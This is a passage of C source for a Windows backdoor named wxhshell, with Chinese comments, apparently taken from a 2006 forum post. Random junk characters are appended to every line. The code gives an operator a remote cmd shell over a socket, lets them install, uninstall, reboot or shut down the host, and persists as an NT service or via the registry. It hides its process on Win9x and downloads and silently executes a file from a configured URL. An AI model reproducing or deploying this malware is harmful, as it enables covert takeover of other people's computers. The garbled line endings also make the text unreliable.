  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Na_O :\x#  
  } bF? {  
  else { 9K_p4 mq  
l\~F0Z/O  
    switch(cmd[0]) { IHNl`\Le  
  $oH?7sj  
  // 帮助 TllIs&MCe  
  case '?': { *W=R:Bl!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _w49@9?  
    break; M`.v/UQn  
  } +[$ Q C*  
  // 安装 Y%)@)$sK  
  case 'i': { @(LEuYq}  
    if(Install()) <>^otb,e$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~!TRR .  
    else G,h=5y9_J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H6]z98  
    break; uOprA`3  
    } Tjza3M  
  // 卸载 R(N5K4J  
  case 'r': { &\/p5RX  
    if(Uninstall()) X\'+);Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YCEdt>5PA  
    else G,JNUok  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U<mFwJ C]  
    break; xdd;!HK,  
    } ;]xJC j  
  // 显示 wxhshell 所在路径 #&ZwQw  
  case 'p': { uGH>|V9'c  
    char svExeFile[MAX_PATH]; Uk|(VR9  
    strcpy(svExeFile,"\n\r"); ]-G10p}Ph-  
      strcat(svExeFile,ExeFile); Id;YIycXe  
        send(wsh,svExeFile,strlen(svExeFile),0); mu}T,+9\  
    break; /4PV<[ :_  
    } 0x]W W|se*  
  // 重启 COk;z.Kn  
  case 'b': { S,~DA3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _0(Bx?[h  
    if(Boot(REBOOT)) O+Qt8,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -<Zs7(  
    else { +Pm yFJH  
    closesocket(wsh); W_ hckq.  
    ExitThread(0); yDW$v/j.|  
    } }+Ne)B E  
    break; m?Qr)F_M  
    } vkQkU,q  
  // 关机 yC]X&1,:z  
  case 'd': { o:irwfArv  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4PzCm k  
    if(Boot(SHUTDOWN)) i-`n5,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qFD#D_O6  
    else { =Vm"2g,aA  
    closesocket(wsh); {Ex*8sU%p%  
    ExitThread(0); *.]M1  
    } ,AO]4Ec  
    break; Eu^? e  
    } mgxoM|n6  
  // 获取shell )|?s!rw +  
  case 's': { . w_oWmD  
    CmdShell(wsh); bEJz>oyW"  
    closesocket(wsh); D L0i  
    ExitThread(0); L| uoFG{  
    break; Gcs eq  
  } &>m# "A\^  
  // 退出 MWxv\o   
  case 'x': { ,@1.&!F4it  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); XH?}0D(  
    CloseIt(wsh); SCZ6:P"$qX  
    break; 3 0fsVwE2  
    } l12_&o"C~  
  // 离开 y,D4b6  
  case 'q': { ,r-l^I3<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); jeM/8~^4-  
    closesocket(wsh); Q8kdX6NMd&  
    WSACleanup(); ?{OB+f}Mo  
    exit(1); c3>#.NP_  
    break; _ xAL0 (  
        } 8RfFP\AP  
  } 2$MIA?A"Y  
  } PsLMV:O9S  
MifPZQ  
  // 提示信息 RvQl{aL  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9,4Lb]  
} Sj$XRkbj:  
  } LyRU2A  
FOFZ/q  
  return; gdu8O!9)  
} Z*}5M4  
.%D9leiRe  
// shell模块句柄 8KQ]3Z9p  
int CmdShell(SOCKET sock) y3]7^+k  
{ r pv`%  
STARTUPINFO si; hf/6VlZ  
ZeroMemory(&si,sizeof(si)); 1q])"l"<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Iq@:n_~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; TfD]`v`]   
PROCESS_INFORMATION ProcessInfo; }E\ b_.  
char cmdline[]="cmd"; 1@j0kTJ~m  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]pZxbs&Vb  
  return 0; J;K-Pv +  
} GvL)SVv?  
%V>Ss9;/8  
// 自身启动模式 0wx lsny?  
int StartFromService(void) oA^aT:o +  
{ Ye'=F  
typedef struct !ys82  
{ s)=fs#%  
  DWORD ExitStatus; G d".zsn  
  DWORD PebBaseAddress; e;y\v/A  
  DWORD AffinityMask; p97}HT}  
  DWORD BasePriority; X*'tJN$  
  ULONG UniqueProcessId; E^:8Jehq  
  ULONG InheritedFromUniqueProcessId; Mpfdl65  
}   PROCESS_BASIC_INFORMATION; na;U]IK  
pZS0;T]W,  
PROCNTQSIP NtQueryInformationProcess; h}X^  
ewNzRH,b  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `aj;FrF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y<Hka'(%  
3;wAm/Z:Q  
  HANDLE             hProcess; dE<}X7J%  
  PROCESS_BASIC_INFORMATION pbi; l\PDou@5  
1@&i ju5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); YEL, TU  
  if(NULL == hInst ) return 0; wUGSM"~ |  
,5Pl\keY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y;?ie]3G  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7r+g8+4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \,Lo>G`!  
"P@>M)-9Z  
  if (!NtQueryInformationProcess) return 0; oY~ Dg  
w6dFb6~R  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d1@%W;qX!  
  if(!hProcess) return 0; t&Os;x?To?  
'\fY<Q:!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ioy  
|wEN`#.;b  
  CloseHandle(hProcess); *=ZsqOHwG  
g[>\4B9t  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); t%zpNd2lk  
if(hProcess==NULL) return 0; F;lI+^}}  
K-<^ $VWh  
HMODULE hMod; +(D$9{y   
char procName[255]; C'=k&#<-  
unsigned long cbNeeded; `dMqe\o%!  
m\>a,oZH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); GhY1k";  
E Uar/  
  CloseHandle(hProcess); }u+a<:pkK  
#eU.p&Zc  
if(strstr(procName,"services")) return 1; // 以服务启动 ;?}l  
{k.MS-q  
  return 0; // 注册表启动 LIU} a5  
} ?T_3n:  
z)XRx:YU;$  
// 主模块 c(co\A.]:6  
int StartWxhshell(LPSTR lpCmdLine) >StO.Q99  
{ &~UJf4b|A  
  SOCKET wsl; 8;y&Pb~)  
BOOL val=TRUE; o47r<>t  
  int port=0; "x941 }  
  struct sockaddr_in door; S0g'r !;6  
xR"M*%{@0  
  if(wscfg.ws_autoins) Install(); _UE)*l m+  
E| YdcS  
port=atoi(lpCmdLine); { 74mf'IW  
0w'j+  
if(port<=0) port=wscfg.ws_port; cH<q:OYi  
Ov-b:l H  
  WSADATA data; j7FN\ cz  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E$a ?LFa6  
B,z<%DAE  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [ rNXQ` /  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Nf3.\eR  
  door.sin_family = AF_INET; SxyONp.$\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); a"/#+=[  
  door.sin_port = htons(port); ?Y:x[pOe  
4GG>!@|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C^t(^9  
closesocket(wsl); sfr(/mp(  
return 1; w(L>#?  
} &X9Z W$C  
3$vRW.c\q  
  if(listen(wsl,2) == INVALID_SOCKET) { H?}[r)|(3i  
closesocket(wsl); 1%M&CX  
return 1; Q@e[5RA +]  
} j4FeSGa  
  Wxhshell(wsl); ^^i6|l1  
  WSACleanup(); >Sa*`q3J  
ERUt'1F?]  
return 0; JB</euyV  
cN! uV-e  
} !>x|7   
G{aT2c  
// 以NT服务方式启动  6,1b=2G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .*=]gZ$IE  
{ jk\ dG16  
DWORD   status = 0; 2)?(R;$,  
  DWORD   specificError = 0xfffffff; h :Xz UxL\  
zJa)*N  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "O+5R(XT  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; PI A)d-Z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; GZ!| }$ 8  
  serviceStatus.dwWin32ExitCode     = 0; [~W`E1,  
  serviceStatus.dwServiceSpecificExitCode = 0; ;;5Uwd'-  
  serviceStatus.dwCheckPoint       = 0; yTE%hHH]&[  
  serviceStatus.dwWaitHint       = 0; !.7udYmB  
5q{h 2).)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *y`%]Hy<  
  if (hServiceStatusHandle==0) return; m,3er*t{  
Uu6L~iB  
status = GetLastError(); NIZ<0I*5  
  if (status!=NO_ERROR) f#%JSV"7  
{ Ap&)6g   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; C2]Kc{4  
    serviceStatus.dwCheckPoint       = 0; M|T4~Q U&  
    serviceStatus.dwWaitHint       = 0; jD) {I  
    serviceStatus.dwWin32ExitCode     = status; s30 O@M))  
    serviceStatus.dwServiceSpecificExitCode = specificError; q<e&0u4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *VSel4;\t  
    return; <Y 4:'L6  
  } wYeB)1.  
 (dJI_A  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; z;]CmR@Ki  
  serviceStatus.dwCheckPoint       = 0; >Sk[vI0Y  
  serviceStatus.dwWaitHint       = 0; CR4rDh8za  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y#ON|c /  
} u#W5`sl  
dYFzye  
// 处理NT服务事件,比如:启动、停止 sfp,Lq`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) W!$zXwY}(  
{ W:&R~R  
switch(fdwControl) maMHZ\ Q  
{ z^* '@  
case SERVICE_CONTROL_STOP: qg z*'_S  
  serviceStatus.dwWin32ExitCode = 0; v=Y K8fNi  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E ?2O(  
  serviceStatus.dwCheckPoint   = 0; &'|B =7  
  serviceStatus.dwWaitHint     = 0; V BoMT:#  
  { g]mtFrP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  }`/gX=91  
  }  R)Q 4  
  return; O/AE}]  
case SERVICE_CONTROL_PAUSE: +\`vq"e  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }6RT,O g  
  break; *xRc * :0  
case SERVICE_CONTROL_CONTINUE: (Ha@s^?.C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; AWr}"r?s  
  break; e]+OO g&  
case SERVICE_CONTROL_INTERROGATE: r2*<\ax  
  break; 4\X||5.c  
}; yFIy`9R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u.|~   
} UgHf*m  
Hy; Hs#  
// 标准应用程序主函数 HP2wtN{Zs  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) E +_&HG}a  
{ 8Vl!|\x5  
$j` $[tX6l  
// 获取操作系统版本 >X}{BDMb.  
OsIsNt=GetOsVer(); ZwI 1* f  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #5CI)4x0!  
U)jUq_LX  
  // 从命令行安装 >O{7/)gS^  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8m=Z|"H@  
=6%|?5G  
  // 下载执行文件 3*S[eqMJc  
if(wscfg.ws_downexe) { y%BX]~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =WZ%H_oxi  
  WinExec(wscfg.ws_filenam,SW_HIDE); N{a kg90  
} :Z`4j  
W*T{,M@Y  
if(!OsIsNt) { _."E%|5  
// 如果时win9x,隐藏进程并且设置为注册表启动 NGzgLSm\  
HideProc(); v#w_eqg  
StartWxhshell(lpCmdLine); 9Ld9N;rWm#  
} H3FW52pjX  
else Q}vbm4)[  
  if(StartFromService()) W|c.l{A5Q  
  // 以服务方式启动 iLq#\8t^  
  StartServiceCtrlDispatcher(DispatchTable); /0==pLa4  
else ;b~~s.+  
  // 普通方式启动 +cg {[f,J;  
  StartWxhshell(lpCmdLine); >q( 5ir  
U{1z;lJ  
return 0; Lyoor1   
}
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只看该作者 1 发表于: 2006-10-10
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